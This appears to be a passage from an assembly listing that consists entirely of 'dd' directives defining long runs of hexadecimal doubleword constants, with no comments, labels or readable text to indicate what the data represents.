		dd 6B6F22C9h, 48386ABDh, 60D632EBh, 0A01E4C2Eh,	0E07804C8h
		dd 20B00089h, 310E2A77h, 0F0E2EA4Fh, 0DE445544h, 0A3700049h
		dd 8CAE0033h, 2B6480E7h, 6B02AAE7h, 4AE06A1Dh, 323C2A6Fh
		dd 4CB48067h, 8A7AC0D9h, 0DF725149h, 0B623BFB7h, 0FF5490BBh
		dd 0EF0D457Ah, 20910745h, 609BCD5Fh, 19CC90EDh,	0E06ACC20h
		dd 85FBEFB2h, 70A6AD56h, 25C98065h, 0E0F2D451h,	74D0E04Eh
		dd 9F746025h, 9E621512h, 20DFC09Bh, 0C8CC7576h,	60964188h
		dd 0A034918Dh, 0A4B79303h, 470562C4h, 1667326Fh, 0C7C9ECB4h
		dd 81DC01Eh, 20E80549h,	22CAF548h, 35DB8045h, 0E0D2FE91h
		dd 6F5FFC6h, 0AFE5011h,	5F9EEACDh, 0F00496FEh, 21F0B909h
		dd 4BE140A7h, 841809A4h, 754D97B7h, 20403E1Bh, 0C56DB62Ch
		dd 0A09CBF8Bh, 1F7D945Bh, 30F69E6Ch, 14A6C597h,	5E87C653h
		dd 1F4CB2D7h, 4A482405h, 9FF42A0Fh, 0B0421638h,	94DA454Bh
		dd 0A8509335h, 53564082h, 9A1711ECh, 0DFA445FAh, 12450071h
		dd 44EA3C7Eh, 0D31EF3FEh, 218BE84Fh, 20A80E7Eh,	36161427h
		dd 0F3B4D044h, 0DECC554Ch, 0E0A50041h, 9FB134B6h, 2F54A4F9h
		dd 0F0C5F6AEh, 0DD5DE8C9h, 9F65BF98h, 0B0EAA690h, 61FC2BA3h
		dd 20112885h, 0F55117DFh, 0A05CBE5Bh, 0DECC55E4h, 0E06100A9h
		dd 60D9BFACh, 0CAC4EAAFh, 8A62AA93h, 20016831h,	0A41540CBh
		dd 0CA6C8007h, 1F1E4B07h, 7F00564Bh, 53164073h,	5F6E682Ch
		dd 75DF3F7Ch, 20E01570h, 30DF11EDh, 9E0615A2h, 2449C0EBh
		dd 0DFE3C3B9h, 605E186Fh, 0A0A4B239h, 0E042CE18h, 20E00010h
		dd 607E40AFh, 0A01C804Dh, 0E0BAE96Fh, 20580089h, 9FA51676h
		dd 0B0AAB250h, 4C6B6B63h, 0DBA5C085h, 0EDADAE7Dh, 0B015FDA8h
		dd 755592DBh, 20583EF3h, 22AAC59Eh, 0B66C80A5h,	0AC22C053h
		dd 55AB6F9Eh, 92C10FFh,	0C590E95Bh, 81CCA5ACh, 615D7505h
		dd 0F5291007h, 0A064BE97h, 0A24245CAh, 7C7300F1h, 53D213Dh
		dd 0C581E153h, 8AE88FDFh, 535C633Ch, 33B216ABh,	0A010E3F0h
		dd 9276B35Fh, 20CE65BDh, 15B322Ch, 0C99AE579h, 0E03BA5C7h
		dd 417D720Ah, 9F02593h,	0C119E5E9h, 8E9BB053h, 639041A6h
		dd 144F252Dh, 0CFBED098h, 9319A5F8h, 524B0078h,	5D221B2h
		dd 0CF29E527h, 88B6A567h, 44E165C3h, 56C034Fh, 0F4D9F48Ch
		dd 813FB2E3h, 52BB004Dh, 5E221A2h, 0CC5BEF31h, 90BEA56Bh
		dd 4E233292h, 87D305Eh,	0E5ACF4B2h, 0B43EA903h,	418D7271h
		dd 9C040D3h, 0C970E539h, 8F96A59Eh, 541379C2h, 9AA2D4Ah
		dd 0E69CE5A0h, 0AC5FA519h, 41AA6260h, 277639D5h, 0C952F420h
		dd 94F3A58Fh, 423972F5h, 138B346Ah, 0C5CB80FCh,	8C43862Fh
		dd 5AA1539Ch, 52140F2h,	0CC6DC641h, 8DCB94B6h, 45070014h
		dd 4B10D7Bh, 0E819ECD8h, 8C7EAE2Ah, 67B8418Ch, 50234E2h
		dd 0C9B2F048h, 81DCA5AFh, 2071650Ch, 34BA25B8h,	0F01CEDF8h
		dd 0A162B45Ah, 54CD47D9h, 13342521h, 0A08AEF7Ch, 0B6F6A5F4h
		dd 49537234h, 18FB2E80h, 0C51B80CCh, 8C95965Fh,	69FD6DBCh
		dd 12592609h, 0C9A0E168h, 0E033AECCh, 44716F0Dh, 12CC2993h
		dd 0E135F21Ch, 908B8D1Bh, 57ED69EFh, 9602618h, 0EFC4E599h
		dd 0A60CA5E3h, 6D656C58h, 9EE30AEh, 0A07DE703h,	8EBFB044h
		dd 431772F9h, 60653322h, 0C3DBF2B5h, 0D321B3E6h, 52994613h
		dd 308E34CCh, 0C54FEF2Fh, 0D2F9B388h, 541065D7h, 14631337h
		dd 0C5C8E993h, 9236B432h, 54956278h, 603F33CAh,	0E668E51Eh
		dd 0B4DFAC82h, 203D6DE0h, 5932C74h, 0D9C780B5h,	8D57B410h
		dd 45BD6955h, 9282FCBh,	0C958E551h, 0B5AAA5B6h,	50296D17h
		dd 17832941h, 0C9C2E6FAh, 0B622A53Fh, 55B47298h, 0C1F2CEEh
		dd 0A09FEF41h, 94F3B29Ch, 4C51460Ch, 14984062h,	0D51EE4E4h
		dd 9242B430h, 4CD97688h, 132B271Ah, 0C587EF49h,	94C4C0D5h
		dd 414D721Ah, 9802583h,	0EE64E5F9h, 85708347h, 70C574B0h
		dd 55D2F1Dh, 0EEDCF37Eh, 850883DFh, 707D7428h, 5D52F95h
		dd 0D811F3F6h, 0A3868E23h, 54F165B3h, 34B133Ah,	0CEA3E989h
		dd 0A31E8E9Bh, 5469654Bh, 5D515B2h, 0CF36D007h,	9391A570h
		dd 6DF44EB1h, 948302Eh,	0C6F3F788h, 9439A5D8h, 20966F40h
		dd 10D93489h, 0C972EE00h, 0AED2A56Fh, 45004FD5h, 0F7C1051h
		dd 0D3DFE5BEh, 8521AF2Fh, 54A60077h, 0EE330F8h,	0D447E506h
		dd 0E0ACAF9Ah, 523074DFh, 39B3440h, 0D2F5D6B9h,	8C5BB51Fh
		dd 4FB56544h, 2E7639D5h, 0C561D131h, 8EFBB991h,	4D226FE7h
		dd 0F87347Eh, 0CBE3D4D3h, 0AE2AAE3Eh, 49BA578Dh, 93025E3h
		dd 0C171F447h, 8DC78DBFh, 2039721Eh, 35B2345Dh,	0CF1FE9C3h
		dd 9449A52Fh, 47D6699Bh, 0E172FD3h, 0D4A7E956h,	87FCA9B1h
		dd 61635761h, 12AF34ACh, 0A01CF5E9h, 9365AC58h,	43C773BCh
		dd 6032251Ch, 0CE8AEF76h, 0E0F6A3D6h, 48546536h, 2CA3380h
		dd 0CD3DEEF4h, 8588C04Eh, 539876AAh, 60522E02h,	0CBB7EF76h
		dd 0A972B4C6h, 5275742Fh, 23DA25B1h, 0C53FEF11h, 8484A153h
		dd 698865D5h, 12433439h, 0E7B0E59Bh, 8F21B4F6h,	43656E5Fh
		dd 33FA25BBh, 0C548E119h, 94B4890Bh, 451672CCh,	5660F33h
		dd 0E9B4C18Bh, 9237B4EDh, 6F84654Fh, 35E025CFh,	0A06DEC2Fh
		dd 85BEAEB2h, 540D6EEBh, 4672565h, 0C5C8E993h, 0B6068173h
		dd 13A95050h, 2C3A6E9Dh, 0C54E8001h, 8FD6838Ch,	451365FAh
		dd 5A4405Eh, 0C5E4CFA2h, 99578B0Dh, 20917844h, 310925CDh
		dd 0D97EE548h, 95C6A18Dh, 6130451Ch, 7831217h, 0F6F0E5E6h
		dd 8557AC32h, 208178B4h, 0AA873D9h, 2BAAD62Fh, 0B29BAA1Fh
		dd 76207296h, 2286D5F8h, 64FF80B5h, 0B0449615h,	38C0FFB7h
		dd 5EF0D580h, 646F800Dh, 0E8489EABh, 0DB618D59h, 89788DCh
		dd 48648095h, 0E3268CBEh, 25CA00BBh, 0A6D103Eh,	0F0100B08h
		dd 0B42A1420h, 72494023h
		dd 8623BFB4h, 235490BBh, 750DCCE7h, 20803E2Fh, 0A32684DCh
		dd 9D381570h, 2959C08Bh, 485A0053h, 609440E7h, 0F11544FEh
		dd 0B1B28079h, 0E00318DBh, 6E741447h, 42297FBDh, 635AD0B5h
		dd 0F2CB20EDh, 0F9998042h, 0F8EE77A7h, 0B7110220h, 0E198FF92h
		dd 6FF1BFC0h, 0A0AC2559h, 0C22907Bh, 0ABE8006Bh, 0EB862A63h
		dd 0C864EA99h, 0E0D2C0F3h, 4A3202FBh, 1212282Fh, 0A0F680CDh
		dd 1F6A933Ah, 30E6D69Ch, 9F2F1FA7h, 0B02AA6D0h,	944D45E3h
		dd 0A8DD8BF0h, 83EE500Ah, 0A0190DB1h, 0E32AD04Bh, 0DF9B5728h
		dd 0A2E3CB45h, 2D04900Bh, 0E08A1A5Ch, 0DF6BE871h, 0E555BFF0h
		dd 0A06CBE77h, 0C93D4FC6h, 3A5000E9h, 0EBA9BF78h, 0B0CA46A0h
		dd 0CE1D4DC3h, 0C8300048h, 9F31BFF6h, 9EA60516h, 208FC02Bh
		dd 0AF2520ADh, 6046694Ch, 5F1A74FDh, 32074B4Ch,	0A520106Fh
		dd 0EDB5342Fh, 0A075C802h, 1E25282Bh, 0E713FF36h, 88638338h
		dd 0A0D48005h, 0FC9F41FEh, 1310105Ah, 0C72BCD16h, 0F14C9063h
		dd 0B0BB914Fh, 0B57751E8h, 60367E05h, 5FE08472h, 0F05CE606h
		dd 24C25D31h, 607615CFh, 0FD3C806Dh, 0FB912D8Ah, 0DF1200B9h
		dd 7B00D5CAh, 0F2E480F5h, 0E076E04Eh, 0E473000Bh, 0E54926B3h
		dd 0A03C9B01h, 650DE036h, 20781BC7h, 602C4013h,	0BACE4388h
		dd 0E04B282Bh, 626D0011h, 0A980EACEh, 0C9DF7038h, 0F085807Eh
		dd 28DC0589h, 0F57F022Fh, 0A084BF85h, 0B5F12294h, 20D000E9h
		dd 8DEF1D9Fh, 0A01C9B98h, 0DFEE5D50h, 5CCB0069h, 6FE64833h
		dd 0A0843931h, 0E8CE4153h, 74C000F3h, 605F44E7h, 0DA697F2Dh
		dd 6B9AD0F5h, 4BC8D95h,	60D64103h, 4874EAF5h, 0E012C047h
		dd 20E252B7h, 16DBBF28h, 93EC9023h, 0E41D4D72h,	71280058h
		dd 31C42AA6h, 0A00C81FFh, 0B242C033h, 1EE2952Eh, 0E5A8407Fh
		dd 0F087F4FBh, 0E17EA8FFh, 0DF4F0049h, 62966453h, 35AB8085h
		dd 0E0E2FF01h, 54508598h, 303AA349h, 0A0A65476h, 0B63D91C9h
		dd 1EB295C6h, 0E5FF40C7h, 0F694F5B5h, 0DEC455ECh, 770D00A1h
		dd 0A49120Bh, 3731D8A9h, 0E05AC18Fh, 4A383382h,	0CB6519D7h
		dd 0F064D035h, 0B2829053h, 1E3A955Eh, 0A48F402Fh, 0A0AC82D5h
		dd 0E86EB484h, 1FFA95E6h, 9FD540A7h, 0B01B92C0h, 0E4009DF3h
		dd 2A5E8091h, 0EBB8415Ah, 0B0890440h, 6D23236Bh, 30C8009Ch
		dd 36A743A7h, 609052BAh, 0E1AD48ECh, 0A45F0081h, 60EE410Fh
		dd 0D5B6BE3Dh, 0DEAA864Bh, 214C0FF9h, 0E0664096h, 5171A00Bh
		dd 0B09C4195h, 55074E38h, 0A611CB4Dh, 8B3381EBh, 0E0709185h
		dd 0DFEB56B8h, 70694A12h, 61CFD925h, 0E04D45CCh, 0A5BD0061h
		dd 60DE5E64h, 0AC0480F7h, 0B00AC03Bh, 2A3DFF8Ah, 5D465048h
		dd 0A0E48019h, 0E03D45BCh, 91C90051h, 0E1BE40EFh, 0E90ED0B3h
		dd 457FCF7Dh, 0A39800C9h, 5C9A48A1h, 39508F08h,	0DC72C0A3h
		dd 8CE37561h, 0E5A17AE3h, 0A04C80F1h, 0C0CACDB6h, 1B52099h
		dd 15522530h, 80F82C8Ah, 9EE3BCE6h, 546820CEh, 0E1EF35BBh
		dd 9A4C8313h, 88AFEF24h, 2087476Fh, 70AC7148h, 57B480C2h
		dd 75AD9261h, 20E03E8Bh, 30DE808Ch, 0A9C4D00Dh,	0A4CAC0FBh
		dd 4C0677F6h, 60622158h, 9FBE152Ah, 20C7C063h, 0E9D33665h
		dd 5F3AC526h, 0C84D805Dh, 60BAC2EBh, 700E51D8h,	5FE8D5D8h
		dd 351980D5h, 0E022DBFCh, 74193351h, 313C10CEh,	0F2997F6Ch
		dd 67AAD0E5h, 0B5B7247Dh, 60F67E31h, 2D04434Dh,	0E032D524h
		dd 4A03F9F0h, 9F5F2A8Eh, 0A48F7F1Eh, 201FD534h,	0FB0B5A1Dh
		dd 6B65908Ch, 2D48D0A6h, 0F00F03F6h, 2C0A8BE1h,	0EB4E407Eh
		dd 0A0ED8897h, 0CB72C3BBh, 0EBA36092h, 14A7E604h, 5586C790h
		dd 2781EED8h, 0EC2B53DEh, 30EACB38h, 0F19CEA59h, 1F85AAF9h
		dd 3026E6DCh, 3A3BCBE7h, 235490BBh, 2FD9CCE7h, 0E797E942h
		dd 882E2A58h, 0A38309FDh, 0A6259358h, 7249576Dh, 9EB1C92h
		dd 0D32BF216h, 0BC96A67Ch, 44EE69E6h, 3C6D3720h, 0D2CEF5AEh
		dd 0B62EAEEEh, 498B724Ch, 25CA2EA8h, 0CF58F01Dh, 0E0A0A571h
		dd 470261F5h, 0F46345Ah, 0A2ACF4AEh, 0B51AC07Bh, 50388F6Bh
		dd 9FE2FC5h, 0D24DAE38h, 8CA3A790h, 0E1978F0h, 2EFE2C5Fh
		dd 80D7C384h, 9450B507h, 45B56C6Ah, 252515ADh, 0EA7BA017h
		dd 0C0FC89ACh, 523976A7h, 35E4356Bh, 0A08C8055h, 0DAB9D5Bh
		dd 20D81E54h, 7511C551h, 5F048025h, 0F09CBE46h,	3FA8C171h
		dd 7EB47C7Bh, 9E4A3526h, 4C43C05Bh, 0ACD2ED5h, 9F68C1E1h
		dd 2DD7F538h, 0F0ADFA7Eh, 22468B61h, 0C5A8E5A8h, 98DC0510h
		dd 6585C02Bh, 20B8380Fh, 9A00C98Dh, 5B1ACE99h, 2F60C102h
		dd 1C850BAh, 0E341BF14h, 0A454A4F1h, 0E812845Eh, 739800C9h
		dd 24180321h, 5FD4CC49h, 0F04C4A36h, 54D00B41h,	62C4D3D2h
		dd 92D97F2Eh, 1FEAD025h, 0B7609369h, 88D9BFA9h,	0A0C480FEh
		dd 0BF2186C0h, 642E537Eh, 9F9E0C83h, 0B0020AF8h, 1EA6280Bh
		dd 2090FF56h, 9FE9BFB1h, 0B0A65C68h, 6D9BF383h,	30B2E8A4h
		dd 31DF11BFh, 0F17DD00Ch, 665F3FAAh, 0C86810A7h, 6006403Ch
		dd 0F2E1D380h, 0A46CF240h, 0DFE04C5Dh, 7040CA3Ah, 0A016684Dh
		dd 93CDC0EBh, 4E3172F9h, 60B72653h, 92017F95h, 6932D05Dh
		dd 30EE3A84h, 0ED5F4F9Fh, 0B015FDB0h, 0A02F49DBh, 71481046h
		dd 5E6CD5E8h, 0C81780A5h, 0E022C057h, 394AB57Ch, 0ED07409Fh
		dd 0B0C3A690h, 155828CBh, 0E75EFF96h, 70C82D82h, 232480A5h
		dd 0F00CAFE6h, 0B53D00E1h, 605E5E52h, 0A186D44Dh, 88D8C0D1h
		dd 0A028005Bh, 5FECD508h, 60E18085h, 6D20B569h,	30BE605Ch
		dd 6654126Fh, 0BEB13580h, 0B62EC0BBh, 72495019h, 5F98D518h
		dd 5F0C8095h, 0F0CDE6B6h, 6715C6C1h, 602E501Eh,	0A0CC8C15h
		dd 0AF39979Bh, 123B4B7Ah, 2CEA04F9h, 2AD17F75h,	73E2D02Dh
		dd 208007D9h, 81ABCD4Fh, 0F9BC90F5h, 0DEAC7D06h, 1D100039h
		dd 8869BF32h, 0A0348069h, 0A99C8954h, 0E2445EFh, 60420C7Bh
		dd 9E261522h, 20CFC06Bh, 22DD8416h, 81540B7h, 0A0248050h
		dd 0F9DD757Eh, 0AD390081h, 70C15292h, 559A68CDh, 5DB93F94h
		dd 20C83F1Fh, 70F24FA7h, 21148047h, 0E0B3500Fh,	21385481h
		dd 9FEE401Eh, 0B0B27628h, 70EE415Bh, 70C800F8h,	600C941Ch
		dd 0B6917F67h, 65A2D0ECh, 2D3559B1h, 60CDC867h,	0AE97FADh
		dd 0B1AD075h, 4F05830Bh, 60565099h, 2579A950h, 0E082DEB0h
		dd 22A5FF31h, 0E5CE50C0h, 29E88F5Dh, 6B0AC03Ah,	20230C99h
		dd 0E5C97088h, 0A0F49E7Ah, 0A1C54575h, 4A210041h, 0ABF2AEFh
		dd 0AEC97F8Fh, 63FAD014h, 0A497FF31h, 60364107h, 0CB410D96h
		dd 8A72D0BDh, 0DF435251h, 7090BE4Ah, 0AF8C057Dh, 0E0EB809Eh
		dd 0AC358DB9h, 0D1265049h, 5AF868FDh, 740A3F6Ch, 7E000031h
		dd 5417A6E4h, 35C3D449h, 0E0CAFE89h, 3EE2BD24h,	61A74057h
		dd 5F4E9D0Dh, 67C74D7Ch, 4AF0103Fh, 609A28BFh, 0F37E805Dh
		dd 0DFC05504h, 64E50089h, 0F58B5413h, 0A0B4C23Dh, 0EAF4CF23h
		dd 34C4449Ah, 6276A06Eh, 0EA0E8107h, 0E3F0D2E9h, 287C4482h
		dd 0A1F9A1A7h, 0ABC58825h, 1F22E427h, 9D5D5033h, 607E7FD7h
		dd 0A00C9CD5h, 0D684E5DBh, 662001h, 45DC6039h, 98AAA590h
		dd 0C05AE52Bh, 6ACA73D4h, 401009C0h, 3503D72Dh,	0E08AFEF1h
		dd 2094C4E8h, 60BC4007h, 5F27D7F5h, 0F02DCAD6h,	0B03D8BE1h
		dd 0A4E506Ah, 0CBF7631Dh, 8DBCD72h, 2028005Ch, 6AA265D1h
		dd 359BD795h, 0E012FE09h, 70ACC452h, 67564B84h,	2DDC800Dh
		dd 0F0646016h, 0DF4B5749h
		dd 70894A72h, 0DE940585h, 0A8474D77h, 0A39010FEh, 703BD0FAh
		dd 2D4180FDh, 0E07A81DCh, 2062CE12h, 9FF51686h,	0B07B86E0h
		dd 0E01A4313h, 0AB112FCFh, 28ABCDB1h, 10BC90D2h, 95F43286h
		dd 0A106039h, 169BF3Dh,	0A9D79717h, 0BD3B78Eh, 0BBF8B4Bh
		dd 28B3CDF1h, 53AC90E2h, 0BBD47DFh, 0B51753A0h,	60967E4Dh
		dd 0B5533DD5h, 94C3C0E3h, 555068BBh, 0F501402Fh, 0A08CBE67h
		dd 0A17D7DEBh, 54D80019h, 0FF387B6h, 0A014905Bh, 26B2C0E3h
		dd 30114704h, 6807401Fh, 67737F43h, 0F03F40DEh,	20C800F9h
		dd 64A41D17h, 0EF0E8D35h, 8FCDAEF3h, 462F201Fh,	6B72C2Fh
		dd 0EF5CA1C8h, 8D73B46Bh, 4FCC208Ch, 0C3323A7h,	0C186E240h
		dd 0EDB3A5B7h, 10206Bh,	408160DFh, 0CD01F5EEh, 872AB25Eh
		dd 45CC72B8h, 6A4B6119h, 0C588E547h, 85EEB4DDh,	594C7322h
		dd 10DF28CFh, 0C17CF9FDh, 85DAA445h, 43FD70B1h,	14582113h
		dd 0D4A7A029h, 8916AEC2h, 2A672Fh, 37A44DF2h, 0C82FF41Ch
		dd 0C08DAE72h, 0E46CD8h, 405F2133h, 80A0EE94h, 8805A9FDh
		dd 46202C45h, 6BE32A0h,	0CE59E91Fh, 0A9FAB36Fh,	49197789h
		dd 6A1B7A33h, 0D2D1E8B2h, 9233E0E6h, 4F892044h,	6AE6CCAh
		dd 0CE49E92Fh, 0C0F5B39Fh, 45056FDAh, 144F6016h, 80D7E9F5h
		dd 852FA907h, 54A92030h, 0C5E3388h, 8179F42Ch, 0D07D44EFh
		dd 606F52C1h, 2F223A24h, 0E0A3D2F7h, 8F5ABA69h,	30761428h
		dd 5125610Fh, 676418B2h, 0F52F4FFEh, 0D5E869F5h, 0FAE8522Ch
		dd 0B8618FC5h, 224E0C0Fh, 0F878B3A3h, 605E408Fh, 0A0FC802Dh
		dd 0E09AC0CBh, 20380069h, 60D64007h, 0A07480A5h, 0E012C043h
		dd 20B000E1h, 604E407Fh, 0A0EC801Dh, 0E08AC0BBh, 20280059h
		dd 60C640F7h, 0A0648095h, 0E002C033h, 20A000D1h, 603E406Fh
		dd 0A0DC800Dh, 58DF43CBh, 2018100Bh, 220AE564h,	0AF548095h
		dd 6DE68394h, 979F1892h, 0B02D4614h, 84E8C476h,	926682B0h
		dd 284A3B20h, 222D54A4h, 0AC06AB61h, 0A25A559Ah, 0A50900A1h
		dd 600E02F3h, 623F8506h, 818322A3h, 0A8F804EBh,	70B21F42h
		dd 0A0506865h, 0FFBAC003h, 0AD7000A1h, 702DCCBAh, 0B895D9DDh
		dd 20C9CC0Fh, 0DF1FE21Dh, 70C4D432h, 79D34355h,	0C49D4DF0h
		dd 30830081h, 0EF0230D0h, 0A47403CDh, 7DB33689h, 20C82385h
		dd 14767A24h, 0A326AB40h, 0AE3FD091h, 7E0B587Dh, 14EE7A9Ch
		dd 4BBE7FB9h, 0F0583F58h, 0DF375711h, 4BA86B68h, 0B0463CB8h
		dd 0ABA198D3h, 0A5CFC345h, 60CE0297h, 0E2E8056Ah, 0E01AC05Bh
		dd 1C5000E9h, 0EB564087h, 0B0B614A0h, 163B28C3h, 38D8FF9Eh
		dd 0E3CE40FFh, 0B02E1420h, 0E87FC03Bh, 4A09D50h, 0FCAD4067h
		dd 0E2700DEAh, 6F41C0A3h, 306298D4h, 0F42BC9EFh, 485C90CFh
		dd 0E0FAC028h, 0AB5BC9FAh, 6036C0F4h, 4D3CD205h, 0E38D3F5Dh
		dd 3052BCD4h, 0E37843DFh, 0AF4C8C07h, 0E0EBC79Fh, 30F283B9h
		dd 9DA24F57h, 2BC480F5h, 832CCD1h, 0DFFFFEF9h, 2222C5CCh
		dd 663F807Dh, 60D24A5Bh, 390C0050h, 1438B9C7h, 515FC0E6h
		dd 61538808h, 0FF2FDFC0h, 2477C160h, 0D52CCC11h, 28E19917h
		dd 2F92F91Ah, 6006F7B8h, 0D825E6D5h, 0EF70F38Dh, 20E0AB94h
		dd 5AFD16AFh, 2B19F54Dh, 0E251D0A1h, 0D15B0A02h, 9E84A876h
		dd 15977F3Ah, 0E02282DFh, 581085ACh, 0E4EA4F64h, 5F0C803Dh
		dd 0F0E87C6Eh, 75A05079h, 6319BFE9h, 0B0C63C30h, 5CA74F53h
		dd 23C010B3h, 0E30D648Bh, 7BCF82EDh, 39276C4h, 0F1807Bh
		dd 44F28154h, 8468A9A1h, 0BB36CC6Ah, 0A159EBA1h, 0DB994F84h
		dd 21D2F4C0h, 8ECF6840h, 0A11E7482h, 0C1FD190Ch, 214AF46Ah
		dd 552016C8h, 0A186747Dh, 38D7D394h, 21C2F4FEh,	0B893BD50h
		dd 0A10E74BAh, 4589061Ch, 215AF464h, 0C5CDF0D8h, 0DF967420h
		dd 706CD8CAh, 0D125DBFDh, 0BE953F64h, 0C91CC2BAh, 9F59BE38h
		dd 0A42E82B6h, 15AB284Bh, 0B508FF4Eh, 600E6676h, 0B88D388Bh
		dd 49A2289h, 461A022Ah,	38902A6Ch, 5FC1AE8Dh, 0E81043FCh
		dd 251AD126h, 952FA867h, 5A2C7F22h, 5041B378h, 196D0249h
		dd 0CA865091h, 0C84EA7BEh, 1A426AABh, 90787592h, 95FFA83Eh
		dd 0A1247F32h, 643AC06Bh, 0F1D574DBh, 8BBCBE47h, 18116BB3h
		dd 60B2C0E3h, 0E3EFE22Ah, 597ED592h, 77A780ADh,	17E91AACh
		dd 30F1847Ch, 60664097h, 60918F3Dh, 16A92012h, 307982F4h
		dd 66AB410Fh, 85F58DCBh, 65ECD3A0h, 20A8396Bh, 6503585h
		dd 4BD1B128h, 0E19FA6C7h, 0C89B6644h, 9F31BF43h, 2958C316h
		dd 0F0486CAEh, 0D76BABD9h, 707FC4F2h, 0A0E48015h, 2017CFBBh
		dd 0C88ABC55h, 9F41BF73h, 0E2EC1504h, 650CC03Bh, 2088394Bh
		dd 6F323566h, 8BD66B34h, 17B16B63h, 302984C4h, 60AE40DFh
		dd 2A6BF475h, 0F0D3BE9Eh, 2B68C1B9h, 25AD4D31h,	58742B93h
		dd 9EE74A39h, 0E1001008h, 79B5B2Fh, 0B3A0909h, 4BBC0038h
		dd 44C01242h, 0CB1645C8h, 99CA056Fh, 0B856C093h, 8BE8E0E0h
		dd 0F40B867Ch, 0A92C907Ah, 1C7AE510h, 980E2072h, 0CB6040DCh
		dd 0A4CE993Eh, 144B282Bh, 246DFFEEh, 689E817Dh,	6095852Bh
		dd 0E3516B8Dh, 4AF29039h, 901E1828h, 206B7F36h,	0F01554E6h
		dd 0DA500601h, 0E4413397h, 5ECFF4EFh, 1E69B411h, 0DE8F74B3h
		dd 9E3F34DDh, 5E88F47Fh, 1E2DB499h, 90CF743Bh, 0D095AB76h
		dd 7B4C2AAAh, 152A0420h, 0D888C082h, 9715FCECh,	0B04D0420h
		dd 0E032C043h, 5536B0E1h, 0ED4A447Dh, 5667E52h,	0E09AF9C7h
		dd 0DCA8AB3Fh, 0D0C135F2h, 5F2B0095h, 82EA6A73h, 0D75FFF2Eh
		dd 7007C4EAh, 0A09C800Dh, 86C2A6ABh, 941A7578h,	0D01D26CEh
		dd 0DED18A9Dh, 20F2D01Ah, 0C83A0321h, 9FD1BF62h, 253B084Dh
		dd 0E07AF91Fh, 20088039h, 0E61642A2h, 993825FFh, 4B84C003h
		dd 5585FC31h, 0E01EF048h, 0AFC7FA2h, 70E74D48h,	0C8F81010h
		dd 9F69BFCAh, 99B00592h, 0E0D2C013h, 230410A1h,	97A4208Fh
		dd 0B0950458h, 0E04AC07Bh, 98EF7411h, 606ACBE2h, 25D3CFFEh
		dd 0E0D2F977h, 21600092h, 600EC420h, 482C80CDh,	5DB36BC1h
		dd 20C84295h, 9F888C4Fh, 0AFC30BAh, 400F4948h, 0C85010C3h
		dd 9F11BEA2h, 9908054Ah, 0E029C04Bh, 3ABC00F9h,	59E2C560h
		dd 0A0048025h, 0EAD6C1D3h, 0DFBE2E99h, 9E45A8F0h, 49CC7F52h
		dd 65916BE1h, 20A84275h, 0A87D8F0Ch, 0E2503DACh, 0A81BC0D3h
		dd 4457B89Dh, 53657600h, 57C7E65Dh, 0F03344BEh,	20A803D9h
		dd 96553477h, 0B0DD0290h, 0EAF640B3h, 0DFDDAAB9h, 9EE5A810h
		dd 0C7E47F72h, 4BDC494Fh, 8BFEC0FAh, 59B2C590h,	0A0D78015h
		dd 0BA06C0A3h, 199285B7h, 152E40CFh, 5DCD6877h,	0D2023FE4h
		dd 0C877FF47h, 9FD9BD55h, 0B42CA045h, 39D3F68h,	0DFB86608h
		dd 0F13526DAh, 24A90BC6h, 17DAD032h, 23BAF77Bh,	15164047h
		dd 5C6868F1h, 0FFE23F7Ch, 0DF0AEEC9h, 9F362640h, 3187E648h
		dd 6B054B50h, 302AA41Ch, 0E9CE6B37h, 25537C9Dh,	0E052F9F7h
		dd 20E00012h, 0E58978DBh, 0A00CB9C9h, 0E6BAC0EBh, 0A5AF2CFDh
		dd 60E679A3h, 0A19480C5h, 22DACA16h, 0C82FFFFCh, 9F91BDD4h
		dd 998805CAh, 0E0AAC0CBh, 2A3C0479h, 9F1BECFFh,	5DE5684Ah
		dd 65D53FACh, 20D03975h, 605E408Bh, 36149759h, 58653F36h
		dd 0E8C6C040h, 0A0DEF8ACh, 18DF84D1h, 87F93836h, 0DDCFE84Ah
		dd 0E5B9BF80h, 0A0FCB999h, 0E08AC0B3h, 9DA8722Ch, 60D67975h
		dd 480DF495h, 1FFD3D56h, 9B82969h, 1E9B4AA6h, 60DC9034h
		dd 4570C34Fh, 20083937h
		dd 9DFDA84Ch, 11E47F7Ah, 62774A89h, 8A9010F8h, 9FD37CB7h
		dd 257A8F02h, 0E07AF9E5h, 24C804B4h, 68468197h,	0B220DC5h
		dd 0B748C1A3h, 0DF7D2059h, 442269B0h, 5B5E388Bh, 64DF37D2h
		dd 30F81010h, 149640C7h, 0A7D3062h, 1AA77865h, 8B16E1A3h
		dd 9FF2BCD7h, 0A443022h, 69E10048h, 30AA88A4h, 0E403B7B7h
		dd 8024906Ch, 95C2C0F3h, 0FE885786h, 3A01BFD3h,	0F82C4F46h
		dd 65300A40h, 20C83975h, 0CA8A0A2Eh, 5FE848ADh,	610AA61Ch
		dd 0A4D5F741h, 20EE5026h, 0D48C80BDh, 0C8EE4058h, 19B4A5F3h
		dd 0CB004087h, 0E2883DBCh, 1709C0C3h, 307984F4h, 60DE400Fh
		dd 1075F5EDh, 9C9FC21Bh, 8AB810D0h, 59D2C570h, 0A0748035h
		dd 0EBE7C0C3h, 0A53AB8D1h, 60DE7982h, 0C6516B37h, 1712F183h
		dd 3091845Ch, 60474077h, 10E6F415h, 9D27CA9Ah, 0E0201068h
		dd 0C5B4430Bh, 0A04CB9F0h, 589C6B4Dh, 0A56FF048h, 602679E3h
		dd 0A0D48205h, 28C6C2D6h, 196DA54Bh, 0CBC840CFh, 0E2E43DF4h
		dd 7052C00Bh, 8B880090h, 59A2C5A0h, 0A0CC80E5h,	9116C093h
		dd 0DFFC20D9h, 0E41BB730h, 0A03C9054h, 95DAC00Fh, 2AC0B0A2h
		dd 702F3EC2h, 0ED5F2AE5h, 0D9D64574h, 28F00031h, 71FB40BFh
		dd 40AF383Bh, 0D9B465F1h, 8B0E0089h, 8BAC8004h,	891CE6C0h
		dd 9EE7CA6Bh, 0E0E01028h, 0C574434Bh, 0A00CB933h, 654D6B8Dh
		dd 2048390Dh, 60F65027h, 601538A3h, 24B2C317h, 5E750A09h
		dd 66E50A6h, 25BA8F96h,	0E0BAF959h, 0DBE7E8D2h,	0E511BFE8h
		dd 0A094B931h, 0A022C053h, 70700E85h, 5922C58Dh, 4856803Dh
		dd 1F653B5Eh, 0A9C64FE4h, 7094D08Ah, 24F177A5h,	0E012D07Ah
		dd 543000E1h, 0CAA6F073h, 145109B6h, 0B8AD0F9h,	0DBC9E85Ch
